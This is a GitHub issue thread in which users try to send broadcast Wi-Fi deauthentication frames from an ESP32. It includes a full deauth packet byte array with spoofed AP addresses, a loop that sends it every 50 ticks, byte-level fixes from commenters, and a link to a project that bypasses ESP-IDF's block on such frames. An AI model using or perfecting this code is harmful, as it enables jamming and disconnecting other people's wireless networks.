esp32free80211 icon indicating copy to clipboard operation
esp32free80211 copied to clipboard

Can't send deauth tyep frame

Open AppLeU0 opened this issue 7 years ago • 7 comments

can't send other type frame.I try send beacon,it's ok. But i try other type, deauth frame's fun return value is -2. wireshark can't find deauth packet and wifi doesn't reconnect.

my code:


uint8_t deauthPacket[26] = {
  /*  0 - 1  */ 0xC0, 0x00, //type, subtype c0: deauth (a0: disassociate)
  /*  2 - 3  */ 0x00, 0x00, //duration (SDK takes care of that)
  /*  4 - 9  */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,//reciever (target)
  /* 10 - 15 */ 0xD1, 0xE1, 0x01, 0x21, 0x41, 0x11, //source (ap)
  /* 16 - 21 */ 0xD1, 0xE1, 0x01, 0x21, 0x41, 0x11, //BSSID (ap)
  /* 22 - 23 */ 0x00, 0x00, //fragment & squence number
  /* 24 - 25 */ 0x01, 0x00 //reason code (1 = unspecified reason)
};


void spam_task(void *pvParameter) {
	for (;;) {
		vTaskDelay(50);
		int result = free80211_send(deauthPacket, sizeof(deauthPacket));
		printf("deauthPacket:%d\r\n", result);
		}
}

AppLeU0 avatar Sep 05 '17 08:09 AppLeU0

Hello! Is there a way to send deauth packet?

atlascoder avatar Nov 11 '17 15:11 atlascoder

00 - 01 has 0xC0 0x00 not 0xC0 0xA0

geekspeed avatar Nov 26 '17 05:11 geekspeed

An actually it should be 0x00 0x0A for a disassociate frame and then set 25 to 0x06 ...6 is: Frame Received from Unauthenticated STA

geekspeed avatar Nov 26 '17 05:11 geekspeed

So is it possible or not? do we get "unsupport frame type" here?

sst2001 avatar Sep 04 '18 15:09 sst2001

@sst2001 Of course It is unsupport, In other words, you can not send some type frames.

malaimoo avatar Sep 05 '18 03:09 malaimoo

Thank you for your reply, is there a reason for that? why would you limit to certain frame tymes only? if you are concerned about security than DDOS can happen with beacon frame only, same with others etc. It is like a knife company cannot sell knives due to security, but the knife has good and bad usages...
Also, if an attacker wants to do it, he has his ways to do it even if you unsupport certain frames... Please explain. Thank you.

sst2001 avatar Sep 05 '18 06:09 sst2001

This restriction is implemented directly in ESP-IDF. There is a project that bypassed this restriction in https://github.com/GANESH-ICMC/esp32-deauther

risinek avatar Apr 20 '21 20:04 risinek